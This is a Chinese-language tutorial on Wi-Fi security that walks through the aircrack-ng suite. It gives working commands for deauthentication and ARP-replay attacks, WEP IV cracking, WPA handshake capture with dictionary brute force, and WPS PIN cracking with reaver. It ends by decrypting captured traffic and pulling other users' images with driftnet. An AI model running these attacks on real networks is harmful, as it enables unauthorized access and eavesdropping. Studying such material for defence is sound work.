0x00前言
谈到无线网络,第一个想到的应该是 wifi,或者是 IEEE 802.11。这个协议。当然无线网络不只是这两个,单是 IEEE 802下就有像 ZigBee 等其他的无线协议。
这次进行扩展的也只是 IEEE 802.11 这个协议。
使用的工具是 aircrack-ng
安装方式
sudo apt-get install aircrack-ng
作案工具:
TL-WN722N 无线网卡(必须)
15dB无线网卡信号增强天线(可选)
优点:
1.能完成基本全部的攻击方式
缺点:
1.使用USB2.0,如果用来上网的话,网速很慢。
2.只支持2.4G网络
USB插入后确认是否使用
之后所有的命令都是在root下执行的
airmon-ng
0x01正题
无线网络使网络连接更加方便,假想一下,如果机场提供的网络服务是有线网络。((靠#`‘)你踩到我的线了)
所以无线网络确实非常方便,
1.无线网络成为互联网越来越重要的入口。
但是也出现了一些问题。
2.无线网络使内网的边界模糊化。
比如你在家中,可能也能看见隔壁邻居的WIFI账号,虽然你可能没有密码。。。。。。
3.安全实施缺失而且困难。因为无线的安全性是致命的问题,现在技术只是利用了加密的算法,使窃听者获得的都是加密后的内容。
但是反过来想一下,我再用无线网卡进行抓包的时候,根本没有看见过IEEE 802.11 的协议,说明无线网卡已经将该协议解密了。那想想无线网卡利用说明内容进行解密的呢?比如想 WIFI的密码,一些环境的条件,等等。而我们在窃听的过程中除了 WIFI 密码其他都是随手可得。那是不是我们有了 WIFI 密码,我们就能够解密 IEEE 802.11 的信息了呢?
那就进入下面的内容,开始讨论:
1.IEEE 802.11 协议的内容
2.WEP 加密的方式
3.WPA 加密的方式
4.WPS 为什么不安全
1#1 IEEE 802.11 协议的内容
IEEE 802.11 中含有很多的协议,如下图
其中最常用的是 802.11a/b/n/g。
在IEEE802.11 中最常用的是 2.4G 的频率,但是共同利用2.4G频率的协议还有很多,比如 微波炉,蓝牙,GPS,等等,于是含有很多的干扰源,所以IEEE 802.11 在发展中,将5G频率也纳入了使用的范围,这也就是为什么买路由器的时候会有2/5G的内容。但是限于我的无线网卡只支持2.4G,所以一下的演示都是使用2.4G网络。
在2.4G频率中如果两个AP(Access Point,无线访问节点)之间的距离很近,就会产生相互干扰,比如说学校的寝室的WIFI,其实每个房间都有一个WIFI的信号源,但是没有相互干扰,其中一个原因是不同的AP工作在不同的信道上。
1#1.1 信道
第一点,IEEE802.11有不同的信道。
不同的国家的信道数可能也会不同,类似经历就是玩树莓派的时候,会让你选择WIFI的国家。
另外一个特点,就是信道的重叠,但是13个信道中一定为会3个信道完全不重叠。
然后信道的概念有了,那IEEE802.11的通讯方式呢?
1#1.2 wireshark
那我们开始使用神器 wireshark 进行抓包分析。
如果没有安装过:
apt-get install wireshark
启动 wireshark 前,我们要将网卡置入 监听模式。你会进入断网状态。
其中wlx24fd523f02c2为我的网卡名
停掉网络服务
service network-manager stop
将监听网卡禁用
ifconfig wlx24fd523f02c2 down
杀死所有妨碍的进程(多进行几次,确保都杀死)
airmon-ng check kill
将网卡置入监听
airmon-ng start wlx24fd523f02c2
查看所有的网卡信息(找出带有mon)
ifconfig -a
一般情况为 wlan0mon
启用监听网卡
ifconfig wlan0mon up
这时候我们可以使用wireshark进行抓包使用wlan0mon端口。
内容最多的也就是 Beacon 帧。
Beacon就是广播帧告诉附近的STA,附近有本AP。
但是似乎对于新手不是很友好,啥都看不懂。
这里先跳过,具体内容,会在 WireShark 专题进行分析。
1#2 WEP 和WPA 连接过程
详细情况可以参考
WEP和WPA 的连接过程都是相似的,只是加密的方法不同。
连接过程分为4步。2步用来关联,2步用来认证。
现在我们来考虑一件事情,如果STA与AP是明文传输密码,那我们是不是仅仅用监听的方式就能获取密码了,那毫无安全可言。所以STA与AP不是明文传输密码的,而是用一个challenge,AP 给STA 一个challenge,STA把challenge加密传输给AP,AP知道密码等信息,所以容易验证challenge与密文是否对应。所以直接监听密码的事情是不可能的。而且看上去 chanllenge 和密文的方式,似乎也是无懈可击。
我们来看看对应的弱点吧。
1#3 WEP 和 WPA 加密的方式
WEP为什么不安全,这又是一个难题:
网上找到了一个标准的回答,IV容易出现重用,一个安全工程师发现,IV(初始向量)大约每224个会重复出现,主要问题就是伪随机数不够随机。所以利用这个问题,我们收集足够多的相同IV以及对应的密文,分析出共享密码。
大约有如下规律:
64位key需要20万个challenge和密文对。
128位key需要大约150万个challenge和密文对。
因为WEP的问题,所以时隔8年出现了WAP加密方式,WAP加密分为WAP1和WAP2。WAP是目前比较安全的加密方式。WAP1和WAP2同样安全,只是相对而言,WPA2比WPA1更加难破解。
WAP1就是为了兼容WEP。
有如下特点:
1.与WEP一样都采用逐包加密
2.128位key,48位IV
3.有帧计数器避免重放工具
4.使用TKIP(动态改变密钥)
5.使用RC4
WPA2就不兼容WEP的加密方式。比WPA1更加安全,但是也只是WPA1将部分加密单元进行修改
1.CCMP替代TKIP
2.AES替代R4C
但是所有的加密方式都会出现弱密码,也就是我们可以进行暴力破解。提到这个的原因之一是我的路由器没有WEP模式,只有WAP模式,所以无法演示WEP。
1#4 WPS 为什么不安全
WPS是为了像我这种记不住密码的人设计的,路由器上会有一个类似的按钮,旁边写着WPS,只要按一下按钮,连接的设备也按一下类似的按钮,就能进行通讯。看着从传统的软件的连接方式转为了硬件的连接方式,似乎只有管理员本人确认过才能连接,但是却使得本来安全的 WPA 加密方式变得不安全。(并且WPS这个是从硬件上进行设计的,所以根本关不掉)
我们来思考一下关于WPS,如果一台STA已经通过WPS进行连接,那下次重新连接的时候是否需要再次WPS确认呢?
所以AP只关心发送WPS,并不关心是不是对方怎么获得的WPS密钥。
但是很不幸,我的路由器不支持WPS
0x02 实战
实战中使用的是 aircrack-ng 这个套件。使用之前记得
service network-manage stop
2#1 airmon-ng
aircrack-ng 的第一部分就是 airmon-ng
查看帮助
airmon-ng -h
usage: airmon-ng <start|stop|check> <interface> [channel or frequency]
使用之前要把干扰进程kill(多执行几次)
airmon-ng check kill
将网卡置入monitor模式(9表示9号信道,wlan0表示网卡名)
airmon-ng start wlan0 9
停止monitor模式(wlan0mon表示处于monitor的网卡名)
airmon-ng stop wlan0mon
检查所处于的信道
iwlist wlan0mon channel
很明显 airmon-ng 只要与将网卡置入monitor模式有关。
2#2 airodump-ng
airodump-ng 与我们的抓包相关,也是最为重要的一环
查看帮助
airodump-ng --help
usage: airodump-ng <options> <interface>[,<interface>,...]
简单的使用:
airodump-ng wlan0mon
一些特别的指定
1.指定信道(11)
-c 11
2.指定AP的MAC地址(C8:D7:19:95:73:96)
--bssid C8:D7:19:95:73:96
3.指定只抓取IV和challenge相关信息
--ivs
4.保存抓包文件
-w test1.cap
一般首先进行粗略的查找,然后再限定内容的查找
如果没有看见抓到握手协议:
1.指定工作信道(-c 9)
2.用手机进行连接
然后我们详细解析AP信息栏目的内容:
BSSID:AP的MAC地址
PWR:信号强度,(-50dB以上属于强信号)
RXQ:最近10s成功接受的百分比
Beacons:该帧的数量
#Data:数据帧的数量
#/s:最近10s内每秒的数量
CH:AP工作的信道
MB:AP支持的最大速度
ENC:无线加密技术
CIPHER:加密的套件CCMP指WAP2
AUTH:PSK个人级,MGT企业级别
ESSID:AP的名字
暂时没有WEP的AP。
首先我们要捕捉到握手(handshark)信息
airodump-ng wlan0mon -c 9 --bssid D4:EE:07:66:81:76 -w wep.cap
查看生成了什么:
如果是正常的 WEP ,会产生一个 xor 文件,但是我这里没有产生
WEP的弱点是IV值不够随机,我们就刺激AP产生大量的IV值内容,(当然,你可以等这120个IV信号。)
刺激产生IV值我们利用aireplay-ng
2#3 aireplay-ng
aireplay-ng按字面的显示是重放攻击的工具。
看看命令:
查看帮助
aireplay-ng --help
攻击的模式 (numbers can still be used):
--deauth(解除关联) count : deauthenticate 1 or all stations (-0)
--fakeauth(伪装关联)delay : fake authentication with AP (-1)
--interactive : interactive frame selection (-2)
--arpreplay(ARP,生成IV的来源) : standard ARP-request replay (-3)
--chopchop : decrypt/chopchop WEP packet (-4)
--fragment : generates valid keystream (-5)
--caffe-latte : query a client for new IVs (-6)
--cfrag : fragments against a client (-7)
--migmode : attacks WPA migration mode (-8)
--test(注入攻击测试) : tests injection and quality (-9)
最常用的就是我标记的4个:
1.注入测试(-9):
基本测试
aireplay-ng -9 wlan0mon
card to card 测试(需要两张无线网卡)
aireplay-ng -9 -i wlan0mon wlan1mon
如果显示失败的请多尝试几次。
2.伪装关联攻击(-1)
在WEP攻击的时候,无线网卡触发大量的ARP请求。只有关联后才能发起。
aireplay-ng -1 60 -e lee_gee -y wep.****.xor -a APMAC -h MYMAC wlan0mon
参数解释:
我们利用自己获取的抓包文件,生成有一个xor文件,利用这个文件进行关联。
-1 60:表示使用1号攻击模式,伪装关联攻击,并且每60秒重新关联一次。
-e lee_gee:表示对方AP的ESSID名称
-y ****.xor:表示我们利用哪种xor文件进行伪装关联
-a APMAC:对方AP的MAC地址
-h MYMAC:自己的MAC地址
3.执行ARP重放攻击(-3)
ARP为重要的IV值的来源,所以我们需要听到ARP请求,并把该请求不停的重放。能产生大量的IV值。
aireplay-ng -3 -b APMAC -h 合法客户端MAC wlan0mon
-b:AP的MAC地址
-h:合法客户端的MAC地址
4.双边解除关联攻击(-0)
这一步是触发ARP请求产生
因为真正的IV值与challenge以及加密方式是对方的STA产生的,如果对方因为信号问题被打断了,那STA还会尝试继续连接AP。并且其中含有ARP请求。这才是我们要重放的信号。
aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon
-a:AP的MAC地址
-c:客户端地址
当然为了能记录全部的过程,我们还要用airodump-ng 进行记录,当data 开始大幅度的上升的时候,说明我们成功了。
接下来就到了最后一部,密码破解:aircrack-ng
2#4 aircrack-ng
aircrack-ng名字上来看crack破解。与破解相关
没啥难度,直接把上面含有大量iv的cap包进行破解。
aircrack-ng web-01.cap
基本上所有WEP破解的内容已经结束了。
整理一下过程:
1.启动monitor模式
2.启动抓包,并保存抓包
3.Deauthentiacation:抓取xor文件
4.利用xor文件与AP关联
5.执行ARP重放
6.再次Deauthentiacation,使client产生ARP请求
7.收集足够多的IV值进行算法破解
有了这些基础之后,我们开始破解WPA攻击。
2#5 WPA暴力破解
先声明一点,WPA的攻击并不是一定能成功的,WPA攻击基本上是一种毫无目的的攻击,成功率单纯的基于时间和密码字典的质量。
很不幸,我找了很多的密码字典,然后发现我的wifi密码没有包含在里面。于是只能手动的在末尾添加一下。
查看密码是否包含在密码字典中的方法:
cat 密码字典.txt|grep 'wifi密码'
在末尾加入wifi密码
echo 'wifi密码' >> 密码字典.txt
暴力破解就没有没有WEP怎么多事情了,但是有个好处,只要把关键信息抓取下来,然后就可能回到家破解了,或者分组破解,这也算是个优点吧。
过程如下:
1.启动monitor
停掉网络服务
service network-manager stop
将监听网卡禁用
ifconfig wlx24fd523f02c2 down
杀死所有妨碍的进程(多进行几次,确保都杀死)
airmon-ng check kill
将网卡置入监听
airmon-ng start wlx24fd523f02c2
查看所有的网卡信息(找出带有mon)
ifconfig -a
一般情况为 wlan0mon
启用监听网卡
ifconfig wlan0mon up
2.开始抓包并保存
airodump-ng -c 9 -bssid C8:D7:19:95:73:96 -w test1.cap wlan0mon
3.Deauthentication攻击获取4步握手协议
另外开一个终端
aireplay-ng -0 1 -a APMAC -c clientSTAMAC wlan0mon
直到airodump界面出现握手信息为止
4.使用字典暴力破解
aircrack-ng -w 字典路径 ***.cap
可见350万个密码中居然都没有我的密码,成功率基本是依靠计算能力。非常不稳定。
2#6 WPS破解
WPS是WIFI联盟2006年开发的一项技术。
1.通过PIN码来简化无线接入的操作无需记住密码。
2.路由器和网卡各按一个按钮就能加入无线网络,物理性身份识别
3.PIN码是分为前后各4位的2段共8位数字。
WPS同样也是暴力破解,但是WPS的暴力破解是有穷的,也就是100,000,000种可能。但是PIN并不是单独生成PSK密钥,还要加上环境参数。
安全漏洞:
1.接入方可以通过路由器的返回信息判断前4位是否正确,所以可以分为两部分进行尝试,也就是20,000次就能破解PIN码
2.但是实际更加惨,后4位中最后一位是校验码,所以一共只有11,000次可能性。
同样对比8位的PSK((pre-shared key))需要218,340,105,584,896次尝试
所以密码破解的时间更加短了,如果没有锁定机制的情况下,1小时之内就能完成破解,但是不同的厂家有不同的锁定机制,所以每分钟能尝试的次数变得有限。但是一般(10-15)小时之内就能破解。
使用工具 reaver
如果没有下载
apt-get install reaver
使用说明
启动监听模式发现WPS的AP
方法1:
wash -C -i wlan0mon
方法2:
airodump wlan0mon --wps
由于自己的路由器不是硬件上支持WPS,所以无法演示后续内容。
使用wash,速度比较慢,不是非常推荐,但是会把看到过的WPS都记录下来
使用airodump,发现的速度比较快,但是离开了相关AP的位置,显示就会消失。
还是很容易发现生活中使用WPS的用户都很多的。
破解方式:
reaver -i wlan0mon -b APMAC -vv -c 信道 -k 1
-vv:显示详细信息
-c:信道
-k:针对一些芯片有问题的厂家
2#7 已知wifi密码,破解cap包的内容
既然我们都把wifi密码破解了,那么不是就有了所有解码IEEE802.11的方式了吗?
确实是这样的。甚至我们可以直接利用wifi密码进行收集与AP通讯的用户所发送的密码和图片。
1.解码IEEE802.11的cap抓包文件。
为解密之前,用wireshark打开是这样的:
通过解码:
使用airdecap:解码
airdecap-ng -e lee_gee -b APMAC -p 密码 ****.cap
成功显示出正常能看懂的协议了。
但是或许你连这些协议也看不懂。却企图从中获取一些内容。
很幸运确实有这样的工具,使用网络水龙头(at),类似linux中的管道符。
创建网络水龙头:
创建网络水龙头
airtun-ng -a APMAC -p 密码 -e essid wlan0mon
created tap interface at0
WPA encryption specified. Sending and receiving frames through wlan0mon.
FromDS bit set in all frames.
用工具接上水龙头进行过滤:
driftnet -i at0
图中内容就是我的QQ中QQ群里发送的图片,被过滤出来了。
0x03 总结
内容还是很粗糙的,比如像WEP/WAP的具体加密方式没有详细的讨论,但是从破解(decap)的角度开看,也大概能看出一些内容来。